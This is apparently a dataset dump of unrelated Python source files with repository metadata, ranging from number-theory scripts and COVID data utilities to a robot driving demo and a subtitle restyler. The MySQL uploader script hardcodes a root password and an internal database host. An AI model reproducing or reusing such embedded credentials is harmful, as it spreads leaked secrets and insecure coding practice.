key[2]-1): continue duplicates[key] = min_step[s] else: min_step[s] = key print ("Found {} primes, {} composites".format( len(all_primes), len(composites))) return home_primes, min_step, duplicates, composites def process(home_primes, composites): added = False try: for n in range(START, STOP+1): print (n) t = n for step in itertools.count(1): if gmpy2.is_prime(t): break s = t key = (10, n, step) original = home_primes[key] t, factors = attempt_factorization(s, original) factors.sort() if t > 1: # t is composite factors.append(t) composites[key].add(t) assert product(factors) == s, (s, t, factors) if factors != original: home_primes[key] = factors added = True print ("\t\tnew factor", factors) if t > 1: print ("Breaking, failed to factor C{}: {}".format(len(str(t)), factordb_format(t))) break new = int("".join(map(str, factors))) t = new if False: if gmpy2.is_prime(s): if new < 1e40: print ("\t", step, new, "from", s, factors) else: print ("\t", step, new) print ("\t\tfrom", factors) if gmpy2.is_prime(t): home_primes[(10, n, step)] = [t] else: print ("\t {} Gave up on step {}".format(n, step)) except KeyboardInterrupt: print("Stopping from ^C") return added # For use with kernprof -v --line-by-line simple.py #@profile def run(): home_primes, min_step, duplicates, composites = load_from_file() added = False added = process(home_primes, composites) if added: with open("home_primes.txt", "w") as f: for base, start, step in sorted(home_primes.keys()): factors = home_primes[(base, start, step)] if not factors: continue if all(gmpy2.is_prime(f) for f in factors): if len(factors) == 1: status = "P" else: status = "FF" else: status = "CF" f.write("{} {} {} {}: {}\n".format( base, start, step, status, " ".join(map(str, factors)))) # Sections copied into README.md if True: ranges = [(2,100), (2,499)] + [(a*500, a*500 + 499) for a in range(1, STOP//500)] for low, high in ranges: filename = "RESULTS_{}_{}.md".format(low, high) print ("Genarating", filename) template = """ ## [Back](../README.md) ## Results for A037274 a(n) n={}..{} --- |start|step|number|factors| |-----|----|------|-------| {} """ rows = [] for (_,start,step),factors in sorted(home_primes.items()): if start not in range(low, high+1): continue num = row_format(str(product(factors)), max_size=40) if len(factors) == 1: factors = "Home Prime!" if gmpy2.is_prime(min(factors)) else "Unfactored composite" else: mult = " * ".join(map(str, sorted(factors))) factors = row_format(mult, max_size=50) columns = [start, step, num, factors] rows.append("|" + "|".join(map(str, columns)) + "|") with open("results/" + filename, "w") as f: f.write(template.format( low, high, "\n".join(rows))) if True: count = 0 print () print () print ("### Unterminated") print ("---") print () # Move the "These <X> a(n) that have not..." line here print () print ("|start|step|composite|same as|") print ("|-----|----|---------|-------|") same = defaultdict(list) for key, cfs in composites.items(): same[tuple(sorted(cfs))].append("HP({}).{}".format(key[1], key[2])) merged_count = 0 for (base, start, step), cfs in composites.items(): assert (base, start, step+1) not in home_primes assert len(cfs) and not gmpy2.is_prime(max(cfs)) formatted_factors = tuple(factordb_format(c) for c in sorted(cfs)) key = tuple(sorted(cfs)) if (base, start, step) not in duplicates: same_c = same[key] assert same_c[0].startswith("HP({})".format(start)), (key, same_c) print ("|HP({})|{}|{}|{}|".format( start, step, ", ".join(formatted_factors), " ".join(same_c[1:]))) merged_count += len(same_c) - 1 count += 1 print ("{} numbers ({} merged) <= {} have not yet reached a prime".format( count, count - merged_count, STOP)) print () print () if True: print ("### Work") print ("---") print () # TODO use datetime here print ("This is a short list of the smallest (and largest) unfactored numbers as of 2020-03.") print () print ("|size|start|step|composite|other factor|") print ("|----|-----|----|---------|------------|") by_size = sorted((c, key) for key, cfs in composites.items() for c in cfs) for c, key in by_size[:30] + by_size[-20:]: if key in duplicates: continue others = home_primes[key][:] others.remove(c) print ("|c{}|HP({})|step {}|{}|{}|".format( len(str(c)), key[1], key[2], c, " * ".join(map(str, others)))) print() print() if True: deltas = [] last = "" for (base,start,step),factors in sorted(home_primes.items()): assert factors == sorted(factors) new = "".join(map(str, factors)) if step > 1 and (base, start, step) not in duplicates: delta = len(new) - len(last) deltas.append((delta, int(last), int(new), start, step-1)) last = new # For smallest jump | find biggest number # For biggest jumps | find smallest number deltas.sort(key=lambda d: (d[0], d[1] if d[0] > 3 else -d[1])) print () print ("Home Primes with smallest and largest increase in number of digits") print () print ("|+digits|HP|current|next|link|") print ("|-------|--|-------|----|----|") for delta, s1, s2, start, step in deltas[:15] + deltas[-15:]: print("|{}|{}|{}|{}|{}|".format( delta, f"HP({start}).{step}", factordb_format(abs(s1)), factordb_format(abs(s2)), "[FactorDB](http://factordb.com/aliquot.php?type=10&aq={}&big=1)".format(start))) run()

26.743142

98

0.563129

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null

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null

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1

0

757f3810745dc98b37ec435828ecf0e2aaa534d5

1,212

py

Python

app/file2mysql.py

ToHanwei/CORD

09f75b136431222ec945b2ddd6798ae805ec332e

[ "MIT" ]

null

app/file2mysql.py

ToHanwei/CORD

09f75b136431222ec945b2ddd6798ae805ec332e

[ "MIT" ]

null

app/file2mysql.py

ToHanwei/CORD

09f75b136431222ec945b2ddd6798ae805ec332e

[ "MIT" ]

null

#!coding:utf-8 import os import sys import pymysql def connetc2mysql(): try: conn = pymysql.connect( host = '10.15.50.100', port = 3306, user= 'root', password = 'Zhaolab@C809!!', db = 'CORdbPro', charset = 'utf8', use_unicode=True) except Exception as e: print(e) else: print("connect seccess") return(conn) def create_table(cur, conn, tablename): cur.execute("CREATE table " + tablename + "(id INT PRIMARY KEY AUTO_INCREMENT," + "filename VARCHAR(100)," + "data MEDIUMBLOB);") conn.commit() def insert_data(cur, conn, infile, tablename): with open(infile, 'rb') as fopen: fread = fopen.read() content = pymysql.Binary(fread) filename = os.path.basename(infile) #filename = filename.split('-')[0] insert_sql="INSERT INTO "+tablename+" (filename, data) VALUES (%s, %s)" if cur.execute(insert_sql , (filename, content)): conn.commit() else: print('writed failed', cur.error) def main(): indir = sys.argv[1] conn = connetc2mysql() cur = conn.cursor() create_table(cur, conn, indir) for infile in os.listdir(indir): infile = os.path.join(indir, infile) insert_data(cur, conn, infile, indir) if __name__ == "__main__": main()

19.548387

73

0.660066

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1,212

4.839506

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0.035714

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1,212

61

74

19.868852

0.767442

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0.022222

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0.066667

0

null

0

null

0

1

0

757fe53371e91dc422879bc5ad40243b0d086700

2,478

py

Python

start_simple_test.py

rartino/python-optimade-server

84457091c7ec0db52a7e034bb6a7cd4bcbdd4e57

[ "MIT" ]

null

start_simple_test.py

rartino/python-optimade-server

84457091c7ec0db52a7e034bb6a7cd4bcbdd4e57

[ "MIT" ]

null

start_simple_test.py

rartino/python-optimade-server

84457091c7ec0db52a7e034bb6a7cd4bcbdd4e57

[ "MIT" ]

null

#!/usr/bin/env python # # Copyright 2019 Rickard Armiento # # This file is part of a Python candidate reference implementation of # the optimade API [https://www.optimade.org/] # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without limitation the rights to use, copy, modify, merge, # publish, distribute, sublicense, and/or sell copies of the Software, # and to permit persons to whom the Software is furnished to do so, # subject to the following conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS # BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN # ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. ''' This is part of a Python candidate reference implementation of the optimade API [https://www.optimade.org/]. This program runs a simple test query against the example_sqlite3 backend. ''' from __future__ import print_function import os, sys from pprint import pprint sys.path.append(os.path.join(os.path.dirname(os.path.abspath(__file__)),'src')) from parse import parse_optimade_filter if __name__ == "__main__": import backends.example_sqlite3 as backend backend.initialize() # This represents the query being received (later to be received via a web URL query) tables = ["structures"] response_fields = ["id", "chemical_formula", "elements"] if len(sys.argv) >= 2: input_string = 'filter='+sys.argv[1] else: input_string = 'filter=elements="Ga,Ti" AND (nelements=3 OR nelements=2)' response_limit = 50 filter_ast = parse_optimade_filter(input_string) print("==== FILTER STRING PARSE RESULT:") pprint(filter_ast) print("====") result = backend.execute_query(tables, response_fields, response_limit, filter_ast, debug=True) print("==== END RESULT") pprint(list(result)) print("===============") backend.close()

34.901408

99

0.726796

349

2,478

5.060172

0.495702

0.04983

0.00906

0.010193

0.092865

0

0.005914

0.181195

2,478

70

100

35.4

0.864465

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0

0.178499

0.023327

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1

0

false

0

0.208333

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0.208333

0.333333

0

null

0

null

0

1

0

7581ce931238117bdcd49cbe392056bdbbeb384d

2,609

py

Python

examples/deep_dream.py

vacancy/LibNeuralArt

fb7696877ac2bf08e1e4e46caec9ccd14ce4797c

[ "MIT" ]

1

2022-03-09T14:38:01.000Z

examples/deep_dream.py

vacancy/LibNeuralArt

fb7696877ac2bf08e1e4e46caec9ccd14ce4797c

[ "MIT" ]

null

examples/deep_dream.py

vacancy/LibNeuralArt

fb7696877ac2bf08e1e4e46caec9ccd14ce4797c

[ "MIT" ]

null

import os import argparse import cv2 import numpy as np import tensorflow as tf from nart import opr, aopr from nart.model import VGG16 from nart.logconf import logger LEARNING_RATE = 1.5 JITTER = 32 as_netin = lambda x: x[np.newaxis, :] def make_step(sess, net, end): ''' iter only one step, providing end ''' # random draw ox, oy ox, oy = np.random.randint(-JITTER, JITTER+1, 2) img = sess.run(net['input'])[0] img = np.roll(np.roll(img, ox, 1), oy, 0) # apply jitter shift # compute the gradient # one shuold note that we are actually use L2 loss for an activation map to # to compute the gradient for the input sess.run(net['input'].assign(as_netin(img))) target = net[end] loss = 0.5 * tf.reduce_mean(tf.pow(target, 2)) grad = tf.gradients(loss, [net['input']])[0] grad = sess.run(grad)[0] # apply gradient ascent, with normalized gradient img += LEARNING_RATE / np.abs(grad).mean() * grad img = np.clip(img, 0, 255) img = np.roll(np.roll(img, -ox, 1), -oy, 0) # unshift image sess.run(net['input'].assign(as_netin(img))) def main(args): # read the image, and load the network img = cv2.imread(args.image_path) net = VGG16(args.weight_path, img.shape[0], img.shape[1]) os.makedirs(args.output_path, exist_ok=True) # initialize the session sess = tf.Session() sess.run(tf.initialize_all_variables()) sess.run(net['input'].assign(as_netin(img))) for i in range(0, args.nr_iters+1): if i != 0: make_step(sess, net, end=args.end) # save the result image every ``args.save_step'' iterations if i % args.save_step == 0: current_img = sess.run(net['input'])[0] output_path = os.path.join(args.output_path, 'epoch_{:04d}.png'.format(i)) cv2.imwrite(output_path, current_img) logger.info('epoch {}: image written to {}'.format(i, output_path)) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-w', dest='weight_path', required=True, help='weight path') parser.add_argument('-i', dest='image_path', required=True, help='input image path') parser.add_argument('-o', dest='output_path', required=True, help='output directory') parser.add_argument('-e', '--end', dest='end', default='conv5_3', help='end') parser.add_argument('--iter', dest='nr_iters', type=int, default=100, help='number of iterations') parser.add_argument('--save-step', dest='save_step', type=int, default=5, help='save step (in iteration)') main(parser.parse_args())

33.448718

110

0.651974

400

2,609

4.1375

0.355

0.029607

0.061631

0.045317

0.129909

0.108157

0.085196

0.029003

0

0.020496

0.19586

2,609

77

111

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0.768351

0.148333

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0.0625

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1

0.041667

false

0

0.166667

0

0.208333

0

null

0

null

0

1

0

75822d824753f70d530800d691025e523bb8dcb9

1,079

py

Python

5.py

niharikasingh/aoc2018

21d430d393321e6066eca22d7c6b49e5eb42d756

[ "MIT" ]

null

5.py

niharikasingh/aoc2018

21d430d393321e6066eca22d7c6b49e5eb42d756

[ "MIT" ]

null

5.py

niharikasingh/aoc2018

21d430d393321e6066eca22d7c6b49e5eb42d756

[ "MIT" ]

null

import re text = '' with open('5input1.txt', 'r') as ifile: text = ifile.read().strip() def find_length(text): text = list(text) t0 = '' t1 = '' restart = True while (restart): restart = False loop = len(text) - 1 i = 0 # print(text) while (i < loop): # print(i) t0 = text[i] t1 = text[i+1] if (t0 != t1) and (t0.upper() == t1.upper()): restart = True # print("removing", t0, t1) del text[i] del text[i] loop -= 2 i -= 1 else: i += 1 # print(''.join(text)) return len(text) current_min = len(text) for a in list('abcdefghijklmnopqrstuvwxyz'): to_remove = a + a.upper() new_text = re.sub('[' + to_remove + ']', '', text) # print("removing:", to_remove, "result:", new_text) new_min_to_test = find_length(new_text) # print(a, new_min_to_test) current_min = min(current_min, new_min_to_test) print(current_min)

25.690476

57

0.489342

136

1,079

3.727941

0.360294

0.039448

0.047337

0.071006

0

0.026316

0.36608

1,079

41

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26.317073

0.714912

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0

0.125

0

0.043103

0.028017

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1

0.03125

false

0

0.03125

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0.09375

0.03125

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null

0

null

0

1

0

7584210fe482f4212d8e7879d8d01a58011b39a4

1,122

py

Python

venv/Lib/site-packages/pyo/examples/22-events/08-function-calls.py

mintzer/pupillometry-rf-back

cfa86fa984a49dce0123798f8de5b838c02e10d5

[ "CC-BY-4.0" ]

null

venv/Lib/site-packages/pyo/examples/22-events/08-function-calls.py

mintzer/pupillometry-rf-back

cfa86fa984a49dce0123798f8de5b838c02e10d5

[ "CC-BY-4.0" ]

null

venv/Lib/site-packages/pyo/examples/22-events/08-function-calls.py

mintzer/pupillometry-rf-back

cfa86fa984a49dce0123798f8de5b838c02e10d5

[ "CC-BY-4.0" ]

null

""" 08-function-calls.py - Using custom algorithms with python function calls. **EventCall** :: EventCall(function, *args, occurrences=inf, stopEventsWhenDone=True) EventCall calls a function, with any number of arguments (\*args) and uses its return value for the given parameter. The example below use a function from the random module, *randrange*, with arguments and a user-defined function, without argument, to create a rising, then falling, amplitude curve. """ import random from pyo import * s = Server().boot() db = -30 dir = 1 def riseFallAmp(): "Rises and falls amplitude between -30 and -3 dB, 1 db at the time." global db, dir db += dir if db >= -3: dir = -1 elif db < -30: dir = 1 return db # Midi notes are chosen randomly with a function from the random module, # while the amplitude change according to the riseFallAmp function's output. e = Events( midinote=EventCall(random.randrange, 48, 72, 3), beat=1 / 4.0, db=EventCall(riseFallAmp), attack=0.001, decay=0.05, sustain=0.5, release=0.005, ).play() s.gui(locals())

22.897959

78

0.680036

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1,122

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0.572289

0.035387

0.034076

0.04194

0.073395

0

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0.215686

1,122

48

79

23.375

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0.083333

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0

1

0.041667

false

0

0.083333

0

0.166667

0

null

0

null

0

1

0

75858d15ba85e9ff5541366ae7ab4ccf2759852d

2,048

py

Python

main.py

Andrey22/Python_Lesson2_Neural_University

014f8da8e3002e081aba3fb1ce9dcf56e5af1d57

[ "MIT" ]

null

main.py

Andrey22/Python_Lesson2_Neural_University

014f8da8e3002e081aba3fb1ce9dcf56e5af1d57

[ "MIT" ]

null

main.py

Andrey22/Python_Lesson2_Neural_University

014f8da8e3002e081aba3fb1ce9dcf56e5af1d57

[ "MIT" ]

null

''' Задача 1 Вывести на экран циклом пять строк из нулей, причем каждая строка должна быть пронумерована. ''' print ('Task1') for i in range(5): i+=1 print(i,'00000') ''' Задача 2 Пользователь в цикле вводит 10 цифр. Найти количество введеных пользователем цифр 5. ''' print ('Task2') count=0 for i in range(10): number = int(input('Введите 1 из 10 цифр')) if number==5: count+=1 print ('Количество цифр 5 равно', count) ''' Задача 3 Найти сумму ряда чисел от 1 до 100. Полученный результат вывести на экран. ''' print ('Task3') countnum=0 for i in range(101): countnum+=i print (countnum) ''' Задача 4 Найти произведение ряда чисел от 1 до 10. Полученный результат вывести на экран. ''' print ('Task4') countnum = 1 for i in range(1,11,1): countnum*=i print (countnum) ''' Задача 5 Вывести цифры числа на каждой строчке. ''' print ('Task5') number1 = int(input('Введите число')) while number1>0: x = number1 x%=10 print (x) number1//=10 ''' Задача 6 Найти сумму цифр числа. ''' print ('Task6') number1 = int(input('Введите число')) sum=0 while number1>0: x = number1 x%=10 sum+=x number1//=10 print (sum) ''' Задача 7 Найти произведение цифр числа. ''' print ('Task7') number1 = int(input('Введите число')) multi=1 while number1>0: x = number1 x%=10 multi*=x number1//=10 print (multi) ''' Задача 8 Дать ответ на вопрос: есть ли среди цифр числа 5? ''' print ('Task8') number = int(input('Введите число')) while number>0: x = number x%=10 number //= 10 if x == 5: print ('Yes') break else: print ('No') ''' Задача 9 Найти максимальную цифру в числе ''' print ('Task9') number = int(input('Введите число')) max=0 while number>0: x = number x%=10 number //= 10 if x > max: max=x print (max) ''' Задача 10 Найти количество цифр 5 в числе ''' print ('Task10') count=0 number = int(input('Введите число')) while number>0: x = number x%=10 number //= 10 if x == 5: count+=1 print (count)

17.210084

92

0.631348

312

2,048

4.144231

0.301282

0.04331

0.081207

0.092807

0.399072

0.232792

0.174014

0.118329

0

0.068225

0.227051

2,048

119

93

17.210084

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0.049316

0

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0

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0

1

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false

0

0.272727

0

null

0

null

0

1

0

7586aaf36cfc9aa4004d62afa11753f68be84c72

5,351

py

Python

PHASE_2/Application_SourceCode/backend/covid_utils.py

vicinx3/disease-outbreak

035e78875c374e2cdbd4720a4f2ed1370f63a88c

[ "MIT" ]

null

PHASE_2/Application_SourceCode/backend/covid_utils.py

vicinx3/disease-outbreak

035e78875c374e2cdbd4720a4f2ed1370f63a88c

[ "MIT" ]

null

PHASE_2/Application_SourceCode/backend/covid_utils.py

vicinx3/disease-outbreak

035e78875c374e2cdbd4720a4f2ed1370f63a88c

[ "MIT" ]

null

import requests import datetime from db import convert_code from pycountry_convert import country_name_to_country_alpha2 from pprint import pprint import json url = r'https://pomber.github.io/covid19/timeseries.json' response = requests.get(url) if response.status_code != 200: print("Failed to connect to pomber") def convert_country(country): preset = { 'Congo (Brazzaville)': 'CG', 'Congo (Kinshasa)': 'CD', 'Cote d\'Ivoire': 'CI', 'Holy See': 'VA', 'Korea, South': 'KR', 'Taiwan*': 'TW', 'US': 'US', 'West Bank and Gaza': 'PS', 'Kosovo': 'XK', 'Burma': 'MM', } if country in preset: return preset[country] try: return country_name_to_country_alpha2(country) except Exception: return False result = response.json() content = {} for country in result: code = convert_country(country) if code: content[code] = result[country] def get_date(index): date_str = content['AU'][index]['date'] return datetime.datetime.strptime(date_str, r'%Y-%m-%d') first_date = get_date(0) last_date = get_date(-1) def get_last_day(): delta = last_date - first_date return delta.days total = [] for i in range(0, get_last_day() + 1): total.append({ 'confirmed': 0, 'recovered': 0, 'deaths': 0 }) for country in content: for category in ['confirmed', 'recovered', 'deaths']: total[i][category] += content[country][i][category] ###################### # Functions ###################### def get_codes(): return list(content.keys()) def get_countries(): result = {} for code in content: result[code] = convert_code(code) return result def get_slider_marks(): marks = [] template = r'%d %b' marks.append({'value': 0, 'label': first_date.strftime(template)}) marks.append({'value': get_last_day(), 'label': last_date.strftime(template)}) for i in range(0, get_last_day() - 5, 14): current_date = first_date + datetime.timedelta(days=i) marks.append({'value': i, 'label': current_date.strftime(template)}) return marks def get_cases_by_country_and_category(date, category, daily): result = {} for country in content: if daily: delta = content[country][date][category] if date > 0: delta -= content[country][date - 1][category] result[country] = delta else: result[country] = content[country][date][category] return result def get_cases_by_country(date, prettify=False): def calc_mortality(deaths, recovered): total = deaths + recovered return round(deaths * 100 / total, 2) if total > 0 else 0 result = [] for country in content: current = content[country][date] confirmed = current['confirmed'] recovered = current['recovered'] deaths = current['deaths'] mortality = calc_mortality(deaths, recovered) result.append({ 'country': convert_code(country), 'confirmed': confirmed, 'recovered': recovered, 'deaths': deaths, 'mortality': mortality }) result.insert(0, { 'country': 'All countries', 'confirmed': total[date]['confirmed'], 'recovered': total[date]['recovered'], 'deaths': total[date]['deaths'], 'mortality': calc_mortality(total[date]['deaths'], total[date]['recovered']) }) return result def get_cases_by_day(daily): result = {} for category in ['confirmed', 'recovered', 'deaths']: temp = [] for i in range(0, get_last_day() + 1): current_date = first_date + datetime.timedelta(days=i) if daily: value = total[i][category] if i > 0: value -= total[i-1][category] else: value = total[i][category] temp.append({ 'date': current_date.strftime(r'%Y-%m-%d'), 'value': value }) result[category] = temp return result def get_comparator_graph_data(country): standard = {} for category in ['confirmed', 'recovered', 'deaths']: standard[category] = [] for i in range(0, get_last_day() + 1): value = total[i][category] if country == '' else content[country][i][category] standard[category].append({ 'date': i, 'value': value }) trajectory = [] for i in range(0, get_last_day() + 1): if country == '': get = lambda x: total[x]['confirmed'] else: get = lambda x: content[country][x]['confirmed'] total_cases = get(i) def daily_increase(j): return get(j) - get(j-1) if j > 0 else get(j) j = i new_cases = 0 while (j >= 0 and i - j < 7): new_cases += daily_increase(j) j -= 1 new_cases = round(new_cases / (i - j)) if new_cases > 0: trajectory.append({ 'total': total_cases, 'new': new_cases }) return {'standard': standard, 'trajectory': trajectory}

27.869792

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0.555971

611

5,351

4.743044

0.214403

0.018634

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0.018979

0.182885

0.123879

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0.031746

0

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0.303868

5,351

192

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27.869792

0.766443

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0

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0

0.006452

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0

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0.077419

false

0

0.03871

0.012903

0.206452

0.012903

0

null

0

null

0

1

0

758800528ccfe0918aa562d413d55854aa70f801

2,398

py

Python

cdc_kafka/parsed_row.py

woodlee/sqlserver-cdc-to-kafka

602c17432a87c1aaee94dc6c971cde8496314fda

[ "MIT" ]

10

2020-04-09T09:32:54.000Z

2021-10-04T09:20:59.000Z

cdc_kafka/parsed_row.py

woodlee/sqlserver-cdc-to-kafka

602c17432a87c1aaee94dc6c971cde8496314fda

[ "MIT" ]

4

2019-10-04T14:15:32.000Z

2020-05-13T18:48:58.000Z

cdc_kafka/parsed_row.py

woodlee/sqlserver-cdc-to-kafka

602c17432a87c1aaee94dc6c971cde8496314fda

[ "MIT" ]

6

2019-11-11T18:01:00.000Z

2021-06-09T09:49:57.000Z

import datetime from functools import total_ordering from typing import Tuple, Any, Dict, Optional from . import change_index @total_ordering class ParsedRow(object): def __init__(self, table_fq_name: str, row_kind: str, operation_name: str, event_db_time: datetime.datetime, change_idx: Optional[change_index.ChangeIndex], ordered_key_field_values: Tuple[Any], destination_topic: str, avro_key_schema_id: int, avro_value_schema_id: int, key_dict: Dict[str, Any], value_dict: Dict[str, Any]) -> None: self.table_fq_name: str = table_fq_name self.row_kind: str = row_kind self.operation_name: str = operation_name self.event_db_time: datetime.datetime = event_db_time self.change_idx: Optional[change_index.ChangeIndex] = change_idx self.ordered_key_field_values: Tuple = ordered_key_field_values self.destination_topic: str = destination_topic self.avro_key_schema_id: int = avro_key_schema_id self.avro_value_schema_id: int = avro_value_schema_id self.key_dict: Dict[str, Any] = key_dict self.value_dict: Dict[str, Any] = value_dict def __eq__(self, other) -> bool: if isinstance(other, ParsedRow): return (self.table_fq_name, self.value_dict) == (other.table_fq_name, other.value_dict) return False def __lt__(self, other: 'ParsedRow') -> bool: if other is None: return False if isinstance(other, ParsedRow): self_tuple = ( self.change_idx or change_index.LOWEST_CHANGE_INDEX, self.event_db_time, self.table_fq_name ) other_tuple = ( other.change_idx or change_index.LOWEST_CHANGE_INDEX, other.event_db_time, other.table_fq_name ) if self_tuple != other_tuple: return self_tuple < other_tuple # I know it seems backwards, but it's because we read snapshot rows backwards by their PKs: return self.ordered_key_field_values > other.ordered_key_field_values raise Exception(f'Cannot compare ParsedRow to object of type "{type(other)}"') def __repr__(self) -> str: return f'ParsedRow from {self.table_fq_name} of kind {self.row_kind}, change index {self.change_idx}'

42.070175

112

0.662219

319

2,398

4.61442

0.244514

0.059783

0.050951

0.343071

0.194973

0.091033

0.052989

0

0.261885

2,398

56

113

42.821429

0.831638

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0

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false

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0.088889

0.022222

0.333333

0

null

0

null

0

1

0

75893c568f3d251f68a9d4ffb2aa6e88611b92ae

446

py

Python

mikeio/xyz.py

rhaDHI/mikeio

eb24503d935df969eac32569a41d223d6f0e2edf

[ "BSD-3-Clause" ]

65

2019-11-27T13:42:52.000Z

2022-03-31T11:41:56.000Z

mikeio/xyz.py

rhaDHI/mikeio

eb24503d935df969eac32569a41d223d6f0e2edf

[ "BSD-3-Clause" ]

178

2019-12-17T19:43:04.000Z

2022-03-31T06:54:06.000Z

mikeio/xyz.py

rhaDHI/mikeio

eb24503d935df969eac32569a41d223d6f0e2edf

[ "BSD-3-Clause" ]

41

2019-12-17T18:21:04.000Z

2022-03-16T12:15:40.000Z

import pandas as pd def read_xyz(filename): # try: df = pd.read_csv(filename, sep="\t", header=None) if df.shape[1] == 1: df = pd.read_csv(filename, sep=" ", header=None) ncol = df.shape[1] names = ["x", "y", "z", "name"] df.columns = names[0:ncol] return df def dataframe_to_xyz(self, filename): self.to_csv(filename, sep="\t", header=False, index=False) pd.DataFrame.to_xyz = dataframe_to_xyz

17.84

62

0.61435

70

446

3.785714

0.457143

0.124528

0.158491

0.083019

0.271698

0.166038

0

0.011494

0.219731

446

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0.083333

0

0.333333

0

null

0

null

0

1

0

758a746fea53069cc01b12087b264b7e85fe4798

534

py

Python

chassis/rechteck.py

ThePBone/RobomasterCheatsheet

14089f4a20d72700e653e291137a4cbc9d13b694

[ "MIT" ]

4

2022-02-08T21:53:57.000Z

2022-03-27T21:28:20.000Z

chassis/rechteck.py

ThePBone/RobomasterCheatsheet

14089f4a20d72700e653e291137a4cbc9d13b694

[ "MIT" ]

null

chassis/rechteck.py

ThePBone/RobomasterCheatsheet

14089f4a20d72700e653e291137a4cbc9d13b694

[ "MIT" ]

null

from robomaster import robot import time ep_robot = robot.Robot() xy_speed = 1/2 # m/s z_speed = 90/2 # m/s if __name__ == '__main__': #ep_robot.initialize(conn_type="sta", sn="3JKDH6U0011J02") ep_robot.initialize(conn_type="ap") ep_chassis = ep_robot.chassis for i in range(4): # 1 Meter nach vorne ep_chassis.move(1, 0, 0, xy_speed).wait_for_completed() time.sleep(50) # 90° Drehung ep_chassis.move(0, 0, 90, 0, z_speed).wait_for_completed() ep_robot.close()

24.272727

66

0.640449

85

534

3.729412

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0.11041

0.018927

0.132492

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0.234082

534

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0.153846

0

null

0

null

0

1

0

758afd7cbb115376a34da86e1eeaae56905b6dcf

447

pyde

Python

processing/Mod. 6/sketch_6_1_l37/sketch_6_1_l37.pyde

nanam0rgana/2019-fall-polytech-cs

1a31acb3cf22edc930318dec17324b05dd7788d5

[ "MIT" ]

null

processing/Mod. 6/sketch_6_1_l37/sketch_6_1_l37.pyde

nanam0rgana/2019-fall-polytech-cs

1a31acb3cf22edc930318dec17324b05dd7788d5

[ "MIT" ]

null

processing/Mod. 6/sketch_6_1_l37/sketch_6_1_l37.pyde

nanam0rgana/2019-fall-polytech-cs

1a31acb3cf22edc930318dec17324b05dd7788d5

[ "MIT" ]

null

def setup (): size (500, 500) smooth () background (255) noStroke () colorMode(HSB) flug = bool(True) i=0 j=0 def draw (): global i, j, flug if(flug): for i in range (10): for j in range (5): fill (10, random (0, 255) , random (10, 250)) rect(j*40+50 , i*40+50 , 35, 35) rect ((10-j)*40+10 , i*40+50 , 35, 35) def mouseClicked (): flug = not flug

22.35

61

0.478747

68

447

3.147059

0.485294

0.056075

0.046729

0.065421

0.084112

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0.180851

0.369128

447

19

62

23.526316

0.578014

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0

0.157895

0

null

0

null

0

1

0

758b72cef82f8f852b093d91ef15a93d7537c56c

3,758

py

Python

ssfunc/fansub.py

End-of-Eternity/ssfunc

5adbd5602ebc1db1a3cc3483c759c936d24ad705

[ "MIT" ]

3

2021-07-20T22:25:36.000Z

2021-12-07T10:05:41.000Z

ssfunc/fansub.py

End-of-Eternity/ssfunc

5adbd5602ebc1db1a3cc3483c759c936d24ad705

[ "MIT" ]

null

ssfunc/fansub.py

End-of-Eternity/ssfunc

5adbd5602ebc1db1a3cc3483c759c936d24ad705

[ "MIT" ]

1

2021-09-20T19:09:55.000Z

import ass import subdigest import subprocess import os def dump_subs(subsfile: str, subsdata: subdigest.Subtitles): """ Exports subsdata to subsfile manually over using dump_file() to avoid the utf-8 encode warning. """ with open(subsfile, "w", encoding="utf_8_sig") as f: for section in subsdata.sections.values(): f.write("\n".join(section.dump())) f.write("\n\n") def load_subs(subsfile: str): """ Loads up and parses subtitles from subsfile and returns subsdigest object. """ with open(subsfile, encoding="utf_8_sig") as f: subsdata = subdigest.Subtitles(ass.parse(f), subsfile) return subsdata def crunchy_unroll(infile: str = None, styles: str = None): """ Restyles Crunchyroll subtitles using an external `styles` file. """ from util import get_episode_number if infile.endswith(".ass"): print("Processing subtitles.") elif infile.endswith(".mkv"): print("Demuxing subtitles") subprocess.run(["mkvextract", "-q", "tracks", infile, f"2:{infile}.ass"]) infile += ".ass" print("Processing subtitles.") subs = load_subs(infile) # Crunchyroll bad subs.selection_set("style", "Top$") subs.modify_field("text", "^", r"{\\an8}") subs.modify_field("text", "}{", "") subs.selection_set("style", "^Italics") subs.modify_field("text", "^", r"{\\i1}") subs.modify_field("text", "}{", "") subs.selection_set("style", "^Main") subs.modify_field("style", "^.*", "Dialogue") subs.selection_set("style", "^Flashback") subs.modify_field("style", "^.*", "Flashback") subs.selection_set("style", "Top$") subs.modify_field("style", "^.*", "Alt") subs.selection_set("style", "^Italics") subs.modify_field("style", "^.*", "Dialogue") # nuke \N tags subs.modify_field("text", r"\s*{\\i0}\s*\\N\s*{\\i1}\s*", " ") subs.modify_field("text", r"\s*\\[Nn]\s*", " ") subs.modify_field("text", r"\s*\\[Nn]", " ") subs.modify_field("text", r"\\[Nn]\s*", " ") subs.modify_field("text", r"\\[Nn]", " ") # misc subs.modify_field("text", "--", "—") subs.use_styles() subs.set_script_info("YCbCr Matrix", "TV.709") subs.set_script_info("Script Updated By", "SeaSmoke") # dump subs to temp file ep = get_episode_number(infile) temp = f"{ep}_temp.ass" dump_subs(temp, subs) # Loading video for resampling video = infile.replace(".ass", "") # Resampling subs using aegisub-cli subprocess.run(["aegisub-cli", "--video", video, temp, temp, "tool/resampleres"]) # Copying styles from `styles` using prass subprocess.run( [ "python", "-m", "prass", "copy-styles", "--from", styles, "--to", temp, "-o", temp, ] ) # export subs file subs = load_subs(temp) dump_subs(infile.replace(".ass", "_fixed.ass"), subs) # mux subs back into video subprocess.run( [ "mkvmerge", "-o", infile.replace(".ass", "").replace(".mkv", 